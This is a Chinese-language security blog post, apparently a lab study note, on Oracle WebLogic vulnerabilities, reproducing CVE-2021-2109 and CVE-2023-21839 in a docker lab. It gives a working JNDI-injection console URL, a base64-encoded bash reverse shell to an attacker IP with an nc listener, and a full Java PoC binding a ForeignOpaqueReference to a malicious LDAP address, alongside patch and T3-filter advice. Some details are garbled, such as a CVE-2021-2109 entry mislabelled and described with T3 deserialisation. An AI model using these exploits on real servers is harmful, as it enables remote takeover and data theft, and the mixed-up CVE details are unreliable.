开发知识点-Weblogic

news2024/11/28 4:33:33

在这里插入图片描述

Weblogic

  • 介绍
  • CVE_2018_2628
  • poc-yaml-weblogic-ssrf
  • poc-yaml-weblogic-cve-2017-10271
  • poc-yaml-weblogic-cve-2019-2725
  • poc-yaml-weblogic-cve-2019-2729-1
  • poc-yaml-weblogic-cve-2019-2729-2
  • poc-yaml-weblogic-cve-2020-14750
  • poc-yaml-weblogic-local-cve-2022-21371-file-inclusion
  • CVE_2020_2551 IIOP 反序列化
  • CVE-2021-2109 WebLogic LDAP 远程代码执行漏洞
  • CVE-2023-21839 Weblogic T3 预身份验证远程命令执行
    • 分析
    • 解决建议
    • 参考材料

介绍

WebLogic是美国Oracle公司出品的一个application server,
确切的说是一个基于JAVAEE架构的中间件,
用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

CVE_2018_2628


-   [1](https://github.com/topics/cve-2023-21839) cve-2023-21839 · GitHub Topics · GitHub,这里有 3 个公开的仓库与这个主题相关,其中一个是 4ra1n / CVE-2023-21839,用 python 写了一个一键检测 weblogic CVE-2023-21839 / CVE-2023-21931 / CVE-2023-21979 的脚本。
-   [2](https://github.com/houqe/POC_CVE-2023-21839) GitHub - houqe/POC_CVE-2023-21839,这是一个根据 4ra1n 大佬的 GO 版本翻译成 python 的 POC,可以用来攻击或测试目标,但需要授权许可。
-   [3](https://github.com/fakenews2025/CVE-2023-21839) GitHub - fakenews2025/CVE-2023-21839: CVE-2023-21839 exp,这是一个利用 T3, IIOP 协议的 Weblogic RCE 漏洞的 POC,支持 12.2.1.3.0, 12.2.1.4.0 和 14.1.1.0.0 版本。

poc-yaml-weblogic-ssrf

poc-yaml-weblogic-cve-2017-10271

poc-yaml-weblogic-cve-2019-2725

poc-yaml-weblogic-cve-2019-2729-1

poc-yaml-weblogic-cve-2019-2729-2

poc-yaml-weblogic-cve-2020-14750

poc-yaml-weblogic-local-cve-2022-21371-file-inclusion

CVE_2020_2551 IIOP 反序列化

CVE-2021-2109 WebLogic LDAP 远程代码执行漏洞

Oracle WebLogic Server的反序列化RCE漏洞(CVE-2023-2109),

该漏洞影响Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4和14.1.1.0版本,

攻击者可以通过发送带有恶意对象的HTTP请求,利用WebLogic Server的T3协议进行反序列化,执行任意代码。


LDAP Lightweight Directory Access Protocol轻量目录访问协议,基于X.500协议,相对简单且支持定制。
于X.500不同的是LDAP支持TCP/IP。


本文主要复现编号为CVE-2021-2109的Weblogic JNDI注入远程命令执行漏洞,该漏洞风险为“高”。

影响版本:Weblogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 


/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

信息安全从业人员

计算机基础、计算机网络、Linux




预备知识
JNDI简介

JNDI是Java Naming and Directory Interface
(Java命名和目录接口)的英文简写,
是为Java应用程序提供命名和目录访问服务的API
(application programing interface,应用程序编程接口)。

Weblogic_ssrf 反序列化远程命令执行漏洞 未授权访问漏洞 LDAP




漏洞编号:CVE-2021-2109

漏洞名称:WebLogic LDAP远程代码执行漏洞

漏洞描述:
2020年11月19日,
阿里云安全向Oracle官方报告了Weblogic Server远程代码执行漏洞。
攻击者可通过LDAP协议,实现JNDI注入攻击,
加载远程CodeBase下的恶意类,最后执行任意代码从而控制服务器。

影响版本:WebLogic Server10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

漏洞等级:高危




通过实验掌握WebLogic LDAP远程代码执行漏洞的利用方法,
了解漏洞原理

PoC的构造链。




实验环境
靶机:docker+weblogic12.2.1.3 IP:10.1.1.109
在这里插入图片描述

攻击机:kali IP:10.1.1.110




任务描述:启动漏洞环境,判断漏洞是否存在。

靶机WebLogic Server已启动,浏览器访问 http://ip:7001 即可:

在这里插入图片描述

注:7001是WebLogic的默认端口。

访问/console/css/%252e%252e%252f/consolejndi.portal:

在这里插入图片描述

注:如果没有立即显示,刷新页面即可。

如果有此页面未授权可访问,且WebLogic为受影响的版本,则可能存在漏洞。
在这里插入图片描述

任务描述:启动LDAP,远程执行代码。
在这里插入图片描述

下载漏洞攻击需要的LDAP启动脚本到服务器上并启动:

java -jar JNDIExploit.jar -i ip(攻击机地址)
在这里插入图片描述
在这里插入图片描述

配合WebLogic未授权漏洞进行代码执行:

/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

注:LDAP服务器地址的第三个分割符号为;

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
另起一个终端,运行漏洞利用PoC:
在这里插入图片描述

注意参数格式:LDAP >>> ldap://xxx.xxx.xxx;xxx:1389
在这里插入图片描述

可以成功远程执行命令。

在这里插入图片描述在这里插入图片描述在这里插入图片描述

任务描述:利用漏洞反弹shell。

访问 http://www.jackson-t.ca/runtime-exec-payloads.html,

将bash反弹命令bash -i >&/dev/tcp/10.1.1.110/6666 0>&1

进行base64编码转换:

得到:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMTEwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

在攻击机上运行nc-lvvp 6666命令监听6666端口:

在这里插入图片描述

将编码后的命令复制到cmd后面进行重放:

在这里插入图片描述

成功反弹回shell。
在这里插入图片描述在这里插入图片描述

漏洞修复
1、由于是通过JNDI注入进行远程代码执行,建议升级Weblogic Server运行环境的JDK版本;

2、升级官方安装补丁:https://www.oracle.com/security-alerts/cpujan2021.html

在这里插入图片描述

关闭 默认



分析与思考
漏洞分析见:https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw

调试分析参考:https://mp.weixin.qq.com/s/WtoUzPEgLlU8jUzvzC75Dg

参考
1、 https://mp.weixin.qq.com/s/gRgrzgkgeehT1DnnlnqQKw
2、 https://mp.weixin.qq.com/s/P6xTm3Ww4llbbd9CIm9spQ
3、 https://www.freebuf.com/vuls/261872.html
4、 https://www.cnblogs.com/huaflwr/p/14317388.html

CVE-2023-21839 Weblogic T3 预身份验证远程命令执行

CNVD-2023-04389
在这里插入图片描述


WebLogic存在远程代码执行漏洞,
该漏洞  允许未经身份验证授权的 远程攻击者
通过`IIOP/T3`协议网络访问并破坏易受攻击的WebLogic服务器,
成功利用此漏洞可能导致Oracle WebLogic服务器被接管或可访问数据的敏感信息泄露。
漏洞原理其实是通过Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看
当远程对象继承自OpaqueReference时,`JNDI lookup`查看远程对象时,
服务端调用远程对象getReferent方法,其中的remoteJNDIName参数可控,
(weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference
并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现)
导致攻击者可利用rmi/ldap远程协议进行远程命令执行。


当 `JDK` 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致`RCE`漏洞。

利用范围
Oracle WebLogic Server@[12.2.1.3, 14c(14.1.1.0))


WebLogic_Server = 12.2.1.3.0
https://blog.csdn.net/qq_41979593/article/details/123780213
https://download.oracle.com/otn/nt/middleware/12c/12213/fmw_12.2.1.3.0_wls_Disk1_1of1.zip
部署
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2023-21839/README.zh-cn.md
vulhub/weblogic/CVE-2023-21839# docker-compose up -d


http://127.0.0.1:7001/
出现

## Error 404--Not Found

### From RFC 2068 _Hypertext Transfer Protocol -- HTTP/1.1_:

#### 10.4.5 404 Not Found

The server has not found anything matching the Request-URI. No indication is given of whether the condition is temporary or permanent.

If the server does not wish to make this information available to the client, the status code 403 (Forbidden) can be used instead. The 410 (Gone) status code SHOULD be used if the server knows, through some internally configurable mechanism, that an old resource is permanently unavailable and has no forwarding address.


http://127.0.0.1:7001/console/

WebLogic Server 版本: 12.2.1.3.0

http://120.48.83.89:7001/console/login/LoginForm.jsp


https://github.com/DXask88MA/Weblogic-CVE-2023-21839/releases/tag/CVE-2023-21839


Weblogic10 XMLDecoder


Weblogic 中对 RMI 传输就是使用的 T3 协议


[**CVE-2023-21839 WebLogic Server RCE**](https://www.ddosi.org/cve-2023-21839/)[1](https://bing.com/search?q=2023%E5%B9%B4+RCE+%E6%BC%8F%E6%B4%9E)[2](https://www.ddosi.org/cve-2023-21839/)[3](https://cn-sec.com/archives/1623845.html)[4](https://cn-sec.com/archives/1695556.html)[,这个漏洞影响了Oracle WebLogic Server 12.2.1.3.012.2.1.4.014.1.1.0.0版本,可以通过T3或IIOP协议进行远程代码执行](https://www.ddosi.org/cve-2023-21839/)[1](https://bing.com/search?q=2023%E5%B9%B4+RCE+%E6%BC%8F%E6%B4%9E)[2](https://www.ddosi.org/cve-2023-21839/)[。这个漏洞的利用方法和POC也已经在网络上公开](https://www.freebuf.com/vuls/357138.html)[5](https://www.freebuf.com/vuls/357138.html)[3](https://cn-sec.com/archives/1623845.html)[4](https://cn-sec.com/archives/1695556.html),建议受影响的用户尽快下载并更新官方补丁[1](https://bing.com/search?q=2023%E5%B9%B4+RCE+%E6%BC%8F%E6%B4%9E)

分析

SDK1.8新建POC项目
导入weblogic依赖jar包
weblogic的安装路径下的C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib


docker cp cve-2023-21839_weblogic_1:/u01/oracle/wlserver/modules /aming/weblogic_lib

weblogic10 及以后的版本,不能直接使用server/lib 目录下的 weblogic.jar
需要手动执行一个命令生成手动生成 wlfullclient.jar
使用如下命令,生成wlfullclient.jar包
java -jar C:\Oracle\Middleware\Oracle_Home\wlserver\modules\com.bea.core.jarbuilder.jar

在这里插入图片描述

将生成的jar包,复制到攻击机的任意目录下,
接着在IDEA中导入jar包。file-->project structure-->Modules-->Dependencies-->JARS or ...
JNDIExploit.jar工具,开启LDAP服务和web服务
运行poc代码,让目标加载恶意类进行远程命令执行。





import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;


public class poc {
    static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
    private static InitialContext getInitialContext(String url)throws NamingException
    {
        Hashtable<String,String> env = new Hashtable<String,String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
    //iiop
    public static void main(String args[]) throws Exception {
        InitialContext c=getInitialContext("t3://172.23.a.b:7001");
        Hashtable<String,String> env = new Hashtable<String,String>();

        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
        Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f,env);
        Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        remoteJNDIName.set(f,"ldap://172.23.c.d:1389/Basic/Command/calc");
        c.bind("aaa120",f);
        c.lookup("aaa120");

    }

}

通过调用getInitialContext方法创建一个InitialContext对象;
使用反射访问和修改ForeignOpaqueReference对象中的私有字段`jndiEnvironment``emoteJNDIName`,
调用InitialContext对象的bind方法
    
将ForeignOpaqueReference对象绑定到JNDI服务,最后调用InitialContext对象的lookup方法,执行查找。

类  weblogic.deployment.jms.ForeignOpaqueReference

Oracle WebLogic Server API Reference  12.2.1.3.0
https://docs.oracle.com/middleware/12213/wls/WLAPI/overview-summary.html  FRAMES



分析ForeignOpaqueReference这个类,其实继承了QpaqueReference接口
而QpaqueReference在官方文档中提示了
当实现此接口的对象从 WLContext 中检索(通过查找或 listBindings)时,由 getReferent() 返回对象。

在POC中远程绑定了ForeignOpaqueReference对象,
实际是因为ForeignOpaqueReference继承QpaqueReference,在远程查询该对象的时候,调用的将会是ForeignOpaqueReference.getReferent方法。


在这里插入图片描述

方法  weblogic.deployment.jms.ForeignOpaqueReference.getReferent()

lookup操作之前会检查 JNDI 环境是否已正确配置以访问远程资源,
主要是对jndiEnvironment和remoteJNDIName的检测,
如果在if中的任何一个条件为真,那么将调用对象的lookup方法,
如果 if 语句中的所有条件都为假,则会进入检查cachedReferent字段的阶段。

只要 getReferent 内的 this.jndiEnvironment不为空,就可以对InitialContext进行初始化,this.jndiEnvironment也可以使用反射的方式进行赋值。

在这里插入图片描述在这里插入图片描述


通过retVal = context.lookup(evalMacros(this.remoteJNDIName))的实现,便可以利用rmi/ldap远程协议进行命令执行。
进入bind方法,可以看到绑定的对象中
通过反射对remoteJNDIName 和 jndiEnvironment属性赋值。


在这里插入图片描述
ClusteravleRemoteRef.invoke
在这里插入图片描述

已经远程获取并加载了恶意类
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
在weblogic.jndi.internal.ForeignOpaqueReference这个类下同样可以利用IIOP协议实现JNDI注入。

在这里插入图片描述在这里插入图片描述

解决建议

 1、安装Oracle WebLogic  Server最新安全补丁:
 https://www.oracle.com/security-alerts/cpujan2023.html
 2、通过控制T3协议/关闭IIOP协议的访问
 来阻断利用T3协议/IIOP协议的漏洞攻击。
 
 关闭T3和iiop协议端口,
 操作方法参考:https://help.aliyun.com/noticelist/articleid/1060577901.html 
 针对T3协议使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议:
 连接筛选器:weblogic.security.net.ConnectionFilterImpl
 0.0.0.0/0 * 7001 deny t3 t3s #拒绝所有访问
 
允许和拒绝指定IP规则示例:
192.168.1.0/24 * 7001 allow t3 t3s #允许指定IP段访问
192.168.2.0/24 * 7001 deny t3 t3s #拒绝指定IP段访问

连接筛选器说明参考(英文):
https://docs.oracle.com/cd/E24329_01/web.1211/e24485/con_filtr.htm#SCPRG377

在Weblogic控制台中,
选择“base_domain”->“监视”进入“AdminServer”-> “协议”->“IIOP”中,取消“启用IIOP”的勾选。并重启Weblogic项目,使配置生效。


 目前Oracle已经修复该漏洞并发布补丁,受影响的用户可参考官方通告及时下载并更新补丁,
下载地址:[https://support.oracle.com/rs?type=doc&id=2917213.2]
(https://link.zhihu.com/?target=https%3A//support.oracle.com/rs%3Ftype%3Ddoc%26id%3D2917213.2)。 


参考材料

1.Oracle Critical Patch Update Advisory - January 2023

2.[https://www.pingsafe.com/blog/cve-2023-21839-oracle-weblogic-server-core-patch-advisory]
(https://link.zhihu.com/?target=https%3A//www.pingsafe.com/blog/cve-2023-21839-oracle-weblogic-server-core-patch-advisory)

3.[https://docs.oracle.com/html/E8]
(https://link.zhihu.com/?target=https%3A//docs.oracle.com/html/E80373_03/weblogic/jndi/OpaqueReference.htmlhttps%3A//docs.oracle.com/en/)

Oracle WebLogic Server 是业界领先的应用服务器,用于使用 Java EE 标准构建企业应用,并以较低的拥有成本将其部署在可靠、可扩展的运行时上。

          

漏洞复现

首先工具准备(GitHub - ASkyeye/CVE-2023-21839: Weblogic CVE-2023-21839 RCE (无需Java依赖一键RCE)3.1:讲一下漏洞产生的原因(CVE-2023-21839 允许远端用户在未经授权的情况下通过 IIOP 进行 JNDI 查找操作,当 JDK 版本过低或本地有小工具(使用 javaSerializedData)时,可能会导致 RCE 漏洞。)

 3.2启动工具

          

解压压缩包unzip CVE-2023-21839-master.zip

cd CVE-2023-21839-master

cd cmd

o build -o CVE-2023-21839

之后会生成一个 CVE-2023-21839程序

          
启动java的工具监听    
之后使用nc进行监听    
在启动工具

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1356961.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

低压线性恒流驱动芯片的产品特性与应用领域

低压线性恒流驱动芯片是一种具有多种产品特性的电子器件。 首先&#xff0c;它具有广泛的输入电压范围&#xff0c;可以适用于5V至80V的输入电压&#xff0c;使得其在不同的电源环境下都能正常工作。 低压线性恒流驱动芯片的产品特性与应用领域 其次&#xff0c;该芯片的输出…

函数——系统函数(c++)

二维数组结束&#xff0c;就到函数了。函数&#xff0c;就相当于scratch中的自制积木&#xff0c;需要自己定义其作用&#xff0c;让代码更简洁、一目了然。但是&#xff0c;与scratch不同的是&#xff0c;c中&#xff0c;系统就给出了一些函数&#xff0c;如&#xff1a;sizoe…

内存管理的概念-第四十一天

目录 前言 内存空间的分配与回收 内存空间的扩展 地址转换 存储保护 上下限寄存器 重定位寄存器和界地址寄存器 本节思维导图 前言 操作系统作为系统资源的管理者&#xff0c;当然也需要对内存进行管理&#xff0c;要管理什么呢&#xff1f; 操作系统复杂内存空间的分…

【网络】网络层IP地址和IP数据报的格式

&#x1f984; 个人主页——&#x1f390;开着拖拉机回家_Linux,大数据运维-CSDN博客 &#x1f390;✨&#x1f341; &#x1fa81;&#x1f341;&#x1fa81;&#x1f341;&#x1fa81;&#x1f341;&#x1fa81;&#x1f341; &#x1fa81;&#x1f341;&#x1fa81;&am…

1-Linux-基础

文章目录 Linux基础知识操作系统基础知识Linux基础知识Linux系统的组成Linux系统图示Linux发行版 Linux基础命令Linux系统的目录结构目录结构对比&#xff1a;windows路径描述方式 Linux命令入门Linux命令通用格式入门命令示例&#xff1a;ls 目录切换【命令】路径&#xff1a;…

使用valgrind 分析缓存命中

使用valgrind 分析缓存命中 char transpose_submit_desc[] "Transpose submission"; void transpose_submit(int M, int N, int A[N][M], int B[M][N]) { int i,j,tmp;int bsize 8;unsigned long long addrA;unsigned long long addrB;unsigned long long setin…

什么是差值表达式

在Vue.js中&#xff0c;差值表达式是一种基本的数据绑定形式&#xff0c;用于将数据绑定到文档对象模型&#xff08;DOM&#xff09;上。差值表达式通常使用双大括号 {{ }} 来表示&#xff0c;这种语法非常直观。当Vue实例的数据发生变化时&#xff0c;差值表达式的内容也会相应…

HttpSession的使用

1 HttpSession 概述 在 Java Servlet API 中引入 session 机制来跟踪客户的状态。session 指的是在一段时间内&#xff0c;单个客户与 Web 服务器的一连串相关的交互过程。在一个 session 中&#xff0c;客户可能会多次请求访问同一个网页&#xff0c;也有可能请求访问各种不同…

how2heap-2.23-05-unsorted_bin_attack

先看看unsorted bin的入链和出链情况 #include <malloc.h>int main() {char* a malloc(0x88);malloc(0x8);char* b malloc(0x100);malloc(0x8);free(a);free(b);char* c malloc(0x88);char* d malloc(0x100);return 0; }分配chunk char* a malloc(0x88); malloc(0…

力扣刷题-二叉树-构建树

106.从中序与后序遍历序列构造二叉树 根据一棵树的中序遍历与后序遍历构造二叉树。 注意: 你可以假设树中没有重复的元素。 例如&#xff0c;给出 中序遍历 inorder [9,3,15,20,7] 后序遍历 postorder [9,15,7,20,3] 返回如下的二叉树&#xff1a; 思路 参考&#xff1a;…

微信小程序开发系列-14模块的导入与导出

微信小程序开发系列目录 《微信小程序开发系列-01创建一个最小的小程序项目》 《微信小程序开发系列-02注册小程序》 《微信小程序开发系列-03全局配置中的“window”和“tabBar”》 《微信小程序开发系列-04获取用户图像和昵称》 《微信小程序开发系列-05登录小程序》 《…

CSS学习之路: 基础学习篇

css基础 一、css3 概述 1.1、什么是css Cascading style sheets 层叠样式表&#xff0c;级联样式表&#xff0c;简称样式表 1.2、css作用 对页面中html元素进行美化 1.3、HTML和css的关系 HTML&#xff1a;负责页面结构的搭建&#xff0c;负责数据的展示CSS&#xff1a;…

Python+PyCharm的安装配置及教程(实用)

python and PyCharm 安装教程可参考&#xff1a;https://blog.csdn.net/wangyuxiang946/article/details/130634049 Pyhon 下载地址&#xff1a;https://www.python.org/downloads/ PyCharm 下载地址&#xff1a;https://www.jetbrains.com/pycharm/download/?sectionwindo…

培训机构管理系统软件哪个比较好?提升培训机构运营效率

在当前教育行业的激烈竞争环境中&#xff0c;培训机构需要不断提升自身管理水平以应对市场挑战。随着科技的发展&#xff0c;越来越多的培训机构开始引入管理系统&#xff0c;以提升运营效率&#xff0c;解决各种痛点问题。那么&#xff0c;培训机构管理系统软件哪个比较好&…

用开源大语言模型开发的智能对话机器人初版原型验证

用开源大语言模型开发的智能对话机器人初版原型验证 0. 背景1. 初版检证效果展示2. 验证效果总结 0. 背景 同事要想做一个智能对话机器人&#xff0c;特别的需求有有些几点&#xff0c; 通过预置提示词&#xff08;包括确认事项&#xff09;&#xff0c;让大语言模型用会话式…

【C++入门】C++内存管理

目录 前言 C/C内存分布 C内存管理方式 1. new和delete操作内置类型 快速了解与使用 2. new和delete操作自定义类型 3. operator new与operator delete 4. operator new [ ] *5.定位new 6. malloc/free和new/delete的区别 总结 前言 C作为一种面向对象的编程语言&#xff…

计算机丢失VCRUNTIME140_1.dll怎么办,6个不同方法教你解决问题

一、什么是vcruntime140_1.dll&#xff1f; vcruntime140_1.dll是Visual C Redistributable Packages的一部分&#xff0c;它是Microsoft Visual Studio开发环境中使用的运行时库文件。它包含了许多常用的函数和类&#xff0c;为开发者提供了丰富的功能支持。 二、vcruntime1…

Python 面向对象之封装和装饰器property

Python 面向对象之封装和装饰器property 【一】概念 封装是面向对象的三大特征之一封装&#xff1a;将属性和方法打包在一起&#xff0c;并对外部提供接口&#xff0c;控制外部对内部数据的访问和修改封装有助于隐藏对象的内部细节&#xff0c;提供更清晰的结构&#xff0c;提…

2023年终总结(脚踏实地,仰望星空)

回忆录 2023年&#xff0c;经历非常多的大事情&#xff0c;找工作、实习、研究生毕业、堂哥结婚、大姐买车、申博、读博、参加马拉松&#xff0c;有幸这一年全家人平平安安&#xff0c;在稳步前进。算是折腾的一年&#xff0c;杭州、赣州、武汉、澳门、珠海、遵义来回跑。完成…

安全狗入选“2023年福建省信息技术应用创新解决方案”名单

近日&#xff0c;福建省数字福建建设领导小组办公室公布了2023年福建省信息技术应用创新解决方案入选项目名单。 作为国内云原生安全领导厂商&#xff0c;安全狗凭借综合且具备突出创新水平的方案入选。 据悉&#xff0c;此次方案征集面向全省信创企业和用户单位&#xff0c;…